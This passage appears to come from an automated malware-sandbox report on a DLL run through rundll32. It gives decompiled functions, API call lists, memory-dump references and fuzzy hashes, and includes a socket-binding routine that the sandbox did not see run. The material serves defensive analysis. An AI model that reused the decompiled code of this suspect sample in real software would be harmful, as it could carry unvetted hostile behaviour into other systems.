					_v12 = VirtualAlloc(_v20 +  *_t28, _v16, 0x1000, 4);
					if(_v12 != 0) {
						_t33 = _v24 + 0xc; // 0x4d8b0000
						_v12 = _v20 +  *_t33;
						 *((intOrPtr*)(_v24 + 8)) = _v12;
						E10001E10(_v12, 0, _v16);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

APIs

VirtualAlloc.KERNEL32(4D8B0000,00000000,00001000,00000004,?,10002BFF,00000000), ref: 10002091
VirtualAlloc.KERNELBASE(4D8B0000,8B118BBC,00001000,00000004,10008AC6,8B118BBC,?,10002BFF,00000000,10008AC6,?), ref: 1000210C

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction ID: c265c5d024e1aaa08d03296b5d335ffe068feccc9d90f6e2fd2d76d71ec68577
Opcode Fuzzy Hash: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction Fuzzy Hash: 4E51DEB4A0020ADFDB04CF94C591AAEB7F1FF48344F208598E915AB355D771EE91CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10008860, Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000886B

Part of subcall function 1001703B: __FF_MSGBANNER.LIBCMT ref: 1001705E
Part of subcall function 1001703B: __NMSG_WRITE.LIBCMT ref: 10017065
Part of subcall function 1001703B: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001), ref: 100170B3

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction ID: 9e6909d06ecd8ca97a2f758cde8d66f904c366c92fb4d9c13ba1bad92c8ee0bf
Opcode Fuzzy Hash: 40bd655b06e48b04370c20bd75be719fcb86c010ff12dc3827a327f63544bac9
Instruction Fuzzy Hash: 9A0178B4D0424CEFEB00CFA4C8446AEBBB4FB04354F60C8A9D9516B349E735AB00DB81

Uniqueness

Uniqueness Score: -1.00%

Function 030AD11A, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 030AD1B6

Memory Dump Source

Source File: 00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp, Offset: 03090000, based on PE: true

Associated: 00000003.00000002.303934318.0000000003090000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.303955009.00000000030B6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3090000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction ID: 80b0efb8e8ab0e9eb10285f7ae74b6c01efad6310d180aff3b0f5064d6f01d88
Opcode Fuzzy Hash: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction Fuzzy Hash: 851112B1C4130CEBDB44DFE5D94A6DEFBB0EB00708F108588D521B6240D3B89B489F90

Uniqueness

Uniqueness Score: -1.00%

Function 030B061D, Relevance: 1.3, APIs: 1, Instructions: 52
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiW.KERNELBASE(410F7A13,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 030B06E5

Memory Dump Source

Source File: 00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp, Offset: 03090000, based on PE: true

Associated: 00000003.00000002.303934318.0000000003090000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.303955009.00000000030B6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3090000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction ID: d328a37836aa2bc6c64c397ddff18c0259d40cd1809171e887f2dac724e0264a
Opcode Fuzzy Hash: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction Fuzzy Hash: 2A2110B5C0130AABCF14DFA9D9899DEBFB5FB20354F108298E529A6251D3B48B04CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 100011C0, Relevance: 10.6, APIs: 7, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100011F1
_memset.LIBCMT ref: 10001205
htonl.WS2_32(00000000), ref: 1000121B
htons.WS2_32(?), ref: 1000122F
socket.WS2_32(00000002,00000002,00000000), ref: 10001245
bind.WS2_32(?,?,00000010), ref: 1000126A
setsockopt.WS2_32(?,0000FFFF,00001006,00000001,00000008), ref: 100012AC

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Startup_memsetbindhtonlhtonssetsockoptsocket
String ID:
API String ID: 1003240404-0
Opcode ID: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction ID: 88ed1bb05716eef25c8d7e89d15ea7d56457a166ccc4c5acc9453768105f33a4
Opcode Fuzzy Hash: 8abc6e71fccd75ffbc511335db1503be54d7970832d8f44548303c29e94ff06c
Instruction Fuzzy Hash: 1C215974A01228AFE760DF60CC85BD9B7B4EF49714F1081D8E949AB381CB71A9C2DF51

Uniqueness

Uniqueness Score: -1.00%

Function 10008B90, Relevance: 9.1, APIs: 6, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E10008B90(intOrPtr __ecx) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				struct HDC__* _v120;
				char _v124;
				int _v128;
				int _v132;
				int _v136;
				struct HICON__* _v140;
				intOrPtr _v144;
				void* __ebp;
				signed int _t37;
				int _t40;
				void* _t41;
				void* _t66;
				struct tagRECT* _t82;
				void* _t84;
				void* _t85;
				signed int _t86;

				_t37 =  *0x10057a08; // 0xef7d8b91
				_v32 = _t37 ^ _t86;
				_v144 = __ecx;
				_t40 = IsIconic( *(_v144 + 0x20));
				_t87 = _t40;
				if(_t40 == 0) {
					_t41 = E1000C473(_t66, _v144, _t84, _t85, __eflags);
				} else {
					_push(_v144);
					E10013247(_t66,  &_v124, _t84, _t85, _t87);
					_t88 =  &_v124;
					if( &_v124 != 0) {
						_v136 = _v120;
					} else {
						_v136 = 0;
					}
					SendMessageA( *(_v144 + 0x20), 0x27, _v136, 0);
					_v128 = GetSystemMetrics(0xb);
					_v132 = GetSystemMetrics(0xc);
					_t82 =  &_v28;
					GetClientRect( *(_v144 + 0x20), _t82);
					asm("cdq");
					_v12 = _v20 - _v28 - _v128 + 1 - _t82 >> 1;
					asm("cdq");
					_v8 = _v16 - _v24 - _v132 + 1 - _t82 >> 1;
					_v140 =  *((intOrPtr*)(_v144 + 0x188));
					_t79 = _v8;
					DrawIcon(_v120, _v12, _v8, _v140);
					_t41 = E1001329B(_t66,  &_v124, _t84, _t85, _t88);
				}
				return E100167D5(_t41, _t66, _v32 ^ _t86, _t79, _t84, _t85);
			}

APIs

IsIconic.USER32(?), ref: 10008BB3

Part of subcall function 10013247: __EH_prolog3.LIBCMT ref: 1001324E
Part of subcall function 10013247: BeginPaint.USER32(?,?,00000004,1000C48A,?,00000058,10008C99), ref: 1001327A

SendMessageA.USER32 ref: 10008C01
GetSystemMetrics.USER32 ref: 10008C09
GetSystemMetrics.USER32 ref: 10008C14
GetClientRect.USER32 ref: 10008C2B
DrawIcon.USER32 ref: 10008C7E

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: MetricsSystem$BeginClientDrawH_prolog3IconIconicMessagePaintRectSend
String ID:
API String ID: 1007970657-0
Opcode ID: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction ID: 92cad86a1f48a06ffd889b7e25b84ff06398f92b7342aaec6ad7b9fd969ef154
Opcode Fuzzy Hash: 34b2481c73848cf5a5b65619b116645cb85ce5e5c475ca315779ed2509392efd
Instruction Fuzzy Hash: BB31F975A00119DFEB24CFA8C995F9EBBB4FF48240F108299E549E7285DE30AA44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A803, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70
libraryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E1000A803(void* __ebx, void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __esi;
				void* __ebp;
				signed int _t9;
				intOrPtr* _t18;
				void* _t26;
				void* _t27;
				void* _t33;
				signed int _t34;
				void* _t35;
				signed int _t36;
				void* _t37;

				_t33 = __edi;
				_t32 = __edx;
				_t28 = __ecx;
				_t26 = __ebx;
				_t9 =  *0x10057a08; // 0xef7d8b91
				_v8 = _t9 ^ _t36;
				_t39 = _a4 - 0x800;
				_t35 = __ecx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags != 0) {
						goto L2;
					} else {
					}
				} else {
					_push(E1001808E(__edx,  &_v288, 4, "LOC"));
					E10009BC7(__ebx, _t28, __edi, _t35);
					_t37 = _t37 + 0x10;
					L2:
					_push(_t26);
					_push(_t33);
					_t34 =  *(E10017D62(_t39));
					 *(E10017D62(_t39)) =  *_t14 & 0x00000000;
					_t35 = 0x112;
					_t27 = E10016E0C( &_v284, 0x112, 0x111, 0x112,  &_v288);
					_t18 = E10017D62(_t39);
					_t40 =  *_t18;
					if( *_t18 == 0) {
						 *(E10017D62(__eflags)) = _t34;
					} else {
						E10009DD1( *((intOrPtr*)(E10017D62(_t40))));
					}
					if(_t27 == 0xffffffff || _t27 >= _t35) {
						_t12 = 0;
						__eflags = 0;
					} else {
						_t12 = LoadLibraryA( &_v284);
					}
					_pop(_t33);
					_pop(_t26);
				}
				return E100167D5(_t12, _t26, _v8 ^ _t36, _t32, _t33, _t35);
			}

APIs

_strcpy_s.LIBCMT ref: 1000A830

Part of subcall function 10009BC7: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 10009BC7: __EH_prolog3.LIBCMT ref: 1000A0FC

Part of subcall function 10017D62: __getptd_noexit.LIBCMT ref: 10017D62

__snprintf_s.LIBCMT ref: 1000A869

Part of subcall function 10016E0C: __vsnprintf_s_l.LIBCMT ref: 10016E21

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 1000A894
LoadLibraryA.KERNEL32(?), ref: 1000A8B7

Strings

LOC, xrefs: 1000A828

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Exception@8H_prolog3InfoLibraryLoadLocaleThrow__getptd_noexit__snprintf_s__vsnprintf_s_l_strcpy_s
String ID: LOC
API String ID: 4018564869-519433814
Opcode ID: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction ID: ee9450464cbd3e0ce3331b4d2b41357aa0e69ec1529eb2fe66138b72776ed960
Opcode Fuzzy Hash: 85c29d921faf756db8e7e017259237103e49a4f88e38b04ce28b663785a5d064
Instruction Fuzzy Hash: A9119A7190411CABF725D760DC86BDD37B8EF06790F504161F6049B191DF74AEC68BA1

Uniqueness

Uniqueness Score: -1.00%

Function 100167D5, Relevance: 7.6, APIs: 5, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E100167D5(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x10057a08; // 0xef7d8b91
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x1005afc0 = _t6;
				 *0x1005afbc = _t22;
				 *0x1005afb8 = _t25;
				 *0x1005afb4 = _t21;
				 *0x1005afb0 = _t27;
				 *0x1005afac = _t26;
				 *0x1005afd8 = ss;
				 *0x1005afcc = cs;
				 *0x1005afa8 = ds;
				 *0x1005afa4 = es;
				 *0x1005afa0 = fs;
				 *0x1005af9c = gs;
				asm("pushfd");
				_pop( *0x1005afd0);
				 *0x1005afc4 =  *_t31;
				 *0x1005afc8 = _v0;
				 *0x1005afd4 =  &_a4;
				 *0x1005af10 = 0x10001;
				_t11 =  *0x1005afc8; // 0x0
				 *0x1005aec4 = _t11;
				 *0x1005aeb8 = 0xc0000409;
				 *0x1005aebc = 1;
				_t12 =  *0x10057a08; // 0xef7d8b91
				_v812 = _t12;
				_t13 =  *0x10057a0c; // 0x1082746e
				_v808 = _t13;
				 *0x1005af08 = IsDebuggerPresent();
				_push(1);
				E100227FB(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x1002b434);
				if( *0x1005af08 == 0) {
					_push(1);
					E100227FB(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 1001C445
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001C45A
UnhandledExceptionFilter.KERNEL32(1002B434), ref: 1001C465
GetCurrentProcess.KERNEL32(C0000409), ref: 1001C481
TerminateProcess.KERNEL32(00000000), ref: 1001C488

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction ID: 29b7c1aed7e77d05a339182a33a9266dca5d513d51f4b37265af4c9016ee4a47
Opcode Fuzzy Hash: 7284fa7d50281a3c049889d49720807c61de6750ecda71a27977002e3826e049
Instruction Fuzzy Hash: 0021B0B4408328DFE701DFA9EDC96487BB0FB0A315F50406AE508873A1E7B459C2CF55

Uniqueness

Uniqueness Score: -1.00%

Function 1000FF59, Relevance: 6.0, APIs: 4, Instructions: 41
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000FF59(void* __ecx) {
				void* __ebx;
				void* __edi;
				signed int _t5;
				void* _t15;
				void* _t18;
				void* _t19;

				_t15 = __ecx;
				if((E10012862(__ecx) & 0x40000000) != 0) {
					L6:
					_t5 = E1000FAB8(_t15, _t15, _t18, __eflags);
					asm("sbb eax, eax");
					return  ~( ~_t5);
				}
				_t19 = E1000A7CE();
				if(_t19 == 0) {
					goto L6;
				}
				_t18 = GetKeyState;
				if(GetKeyState(0x10) < 0 || GetKeyState(0x11) < 0 || GetKeyState(0x12) < 0) {
					goto L6;
				} else {
					SendMessageA( *(_t19 + 0x20), 0x111, 0xe146, 0);
					return 1;
				}
			}

0x1000ff5c
0x1000ff68
0x1000ffb0
0x1000ffb2
0x1000ffb9
0x00000000
0x1000ffbb
0x1000ff6f
0x1000ff73
0x00000000
0x00000000
0x1000ff75
0x1000ff82
0x00000000
0x1000ff96
0x1000ffa5
0x00000000
0x1000ffad

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetKeyState.USER32(00000010), ref: 1000FF7D
GetKeyState.USER32(00000011), ref: 1000FF86
GetKeyState.USER32(00000012), ref: 1000FF8F
SendMessageA.USER32 ref: 1000FFA5

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction ID: de176050283294f5fba88da379e0eecc3ccd74c62a8982f524273e82d2dc9d2d
Opcode Fuzzy Hash: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction Fuzzy Hash: 3BF0827B38025B26FA20B2748C41FBA9154CF86BD0F120538FA42EA5DECF91D8022271

Uniqueness

Uniqueness Score: -1.00%

Function 0309F7F7, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp, Offset: 03090000, based on PE: true

Associated: 00000003.00000002.303934318.0000000003090000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.303955009.00000000030B6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3090000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 1000AA3A, Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 229
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1000AA3A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t73;
				struct HINSTANCE__* _t78;
				_Unknown_base(*)()* _t79;
				struct HINSTANCE__* _t81;
				signed int _t92;
				signed int _t94;
				unsigned int _t97;
				void* _t113;
				unsigned int _t115;
				signed short _t123;
				unsigned int _t124;
				_Unknown_base(*)()* _t131;
				signed short _t133;
				unsigned int _t134;
				intOrPtr _t143;
				void* _t144;
				int _t145;
				int _t146;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				int _t172;
				signed int _t176;
				void* _t177;
				CHAR* _t181;
				void* _t183;
				void* _t184;

				_t167 = __edx;
				_t184 = _t183 - 0x118;
				_t181 = _t184 - 4;
				_t73 =  *0x10057a08; // 0xef7d8b91
				_t181[0x118] = _t73 ^ _t181;
				_push(0x58);
				E10017BC1(E10027E56, __ebx, __edi, __esi);
				_t169 = 0;
				 *(_t181 - 0x40) = _t181[0x124];
				 *(_t181 - 0x14) = 0;
				 *(_t181 - 0x10) = 0;
				_t78 = GetModuleHandleA("kernel32.dll");
				 *(_t181 - 0x18) = _t78;
				_t79 = GetProcAddress(_t78, "GetUserDefaultUILanguage");
				if(_t79 == 0) {
					if(GetVersion() >= 0) {
						_t81 = GetModuleHandleA("ntdll.dll");
						if(_t81 != 0) {
							 *(_t181 - 0x14) = 0;
							EnumResourceLanguagesA(_t81, 0x10, 1, E1000A1E3, _t181 - 0x14);
							if( *(_t181 - 0x14) != 0) {
								_t97 =  *(_t181 - 0x14) & 0x0000ffff;
								_t145 = _t97 & 0x3ff;
								 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t97 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t145);
								 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t145);
								 *(_t181 - 0x10) = 2;
							}
						}
					} else {
						 *(_t181 - 0x18) = 0;
						if(RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019, _t181 - 0x18) == 0) {
							 *(_t181 - 0x44) = 0x10;
							if(RegQueryValueExA( *(_t181 - 0x18), 0, 0, _t181 - 0x20,  &(_t181[0x108]), _t181 - 0x44) == 0 &&  *(_t181 - 0x20) == 1) {
								_t113 = E1001815B( &(_t181[0x108]), "%x", _t181 - 0x1c);
								_t184 = _t184 + 0xc;
								if(_t113 == 1) {
									 *(_t181 - 0x14) =  *(_t181 - 0x1c) & 0x0000ffff;
									_t115 =  *(_t181 - 0x1c) & 0x0000ffff;
									_t146 = _t115 & 0x3ff;
									 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t115 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t146);
									 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t146);
									 *(_t181 - 0x10) = 2;
								}
							}
							RegCloseKey( *(_t181 - 0x18));
						}
					}
				} else {
					_t123 =  *_t79() & 0x0000ffff;
					 *(_t181 - 0x14) = _t123;
					_t124 = _t123 & 0x0000ffff;
					_t164 = _t124 & 0x3ff;
					 *(_t181 - 0x1c) = _t164;
					 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t124 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t164);
					 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale( *(_t181 - 0x1c));
					 *(_t181 - 0x10) = 2;
					_t131 = GetProcAddress( *(_t181 - 0x18), "GetSystemDefaultUILanguage");
					if(_t131 != 0) {
						_t133 =  *_t131() & 0x0000ffff;
						 *(_t181 - 0x14) = _t133;
						_t134 = _t133 & 0x0000ffff;
						_t172 = _t134 & 0x3ff;
						 *((intOrPtr*)(_t181 - 0x2c)) = ConvertDefaultLocale(_t134 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t172);
						 *((intOrPtr*)(_t181 - 0x28)) = ConvertDefaultLocale(_t172);
						 *(_t181 - 0x10) = 4;
					}
					_t169 = 0;
				}
				 *(_t181 - 0x10) =  &(1[ *(_t181 - 0x10)]);
				_t181[ *(_t181 - 0x10) * 4 - 0x34] = 0x800;
				_t181[0x105] = 0;
				_t181[0x104] = 0;
				if(GetModuleFileNameA(0x10000000, _t181, 0x105) != _t169) {
					_t143 = 0x20;
					E100174D0(_t169, _t181 - 0x64, _t169, _t143);
					 *((intOrPtr*)(_t181 - 0x64)) = _t143;
					 *(_t181 - 0x5c) = _t181;
					 *((intOrPtr*)(_t181 - 0x50)) = 0x3e8;
					 *(_t181 - 0x48) = 0x10000000;
					 *((intOrPtr*)(_t181 - 0x60)) = 0x88;
					E1000A1F9(_t181 - 0x3c, 0x10000000, 0xffffffff);
					 *(_t181 - 4) = _t169;
					if(E1000A2A9(_t181 - 0x3c, _t181 - 0x64) != 0) {
						E1000A2DF(_t181 - 0x3c);
					}
					_t176 = 0;
					if( *(_t181 - 0x10) <= _t169) {
						L23:
						 *(_t181 - 4) =  *(_t181 - 4) | 0xffffffff;
						E1000A8D0(_t181 - 0x3c);
						_t92 = _t169;
						goto L24;
					} else {
						while(1) {
							_t94 = E1000A803(_t143,  *(_t181 - 0x40), _t167, _t169, _t181[_t176 * 4 - 0x34]);
							if(_t94 != _t169) {
								break;
							}
							_t176 =  &(1[_t176]);
							if(_t176 <  *(_t181 - 0x10)) {
								continue;
							}
							goto L23;
						}
						_t169 = _t94;
						goto L23;
					}
				} else {
					_t92 = 0;
					L24:
					 *[fs:0x0] =  *((intOrPtr*)(_t181 - 0xc));
					_pop(_t170);
					_pop(_t177);
					_pop(_t144);
					return E100167D5(_t92, _t144, _t181[0x118] ^ _t181, _t167, _t170, _t177);
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 1000AA59
GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40
GetVersion.KERNEL32 ref: 1000AB55
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 1000AB7A
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 1000AB9F
_sscanf.LIBCMT ref: 1000ABBF
ConvertDefaultLocale.KERNEL32(?), ref: 1000ABF4
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000ABFA
RegCloseKey.ADVAPI32(?), ref: 1000AC09
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 1000AC19
EnumResourceLanguagesA.KERNEL32 ref: 1000AC34
ConvertDefaultLocale.KERNEL32(?), ref: 1000AC65
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000AC6B
_memset.LIBCMT ref: 1000AC85

Strings

GetUserDefaultUILanguage, xrefs: 1000AA82
kernel32.dll, xrefs: 1000AA6C
Control Panel\Desktop\ResourceLocale, xrefs: 1000AB6D
GetSystemDefaultUILanguage, xrefs: 1000AACB
ntdll.dll, xrefs: 1000AC14

Memory Dump Source

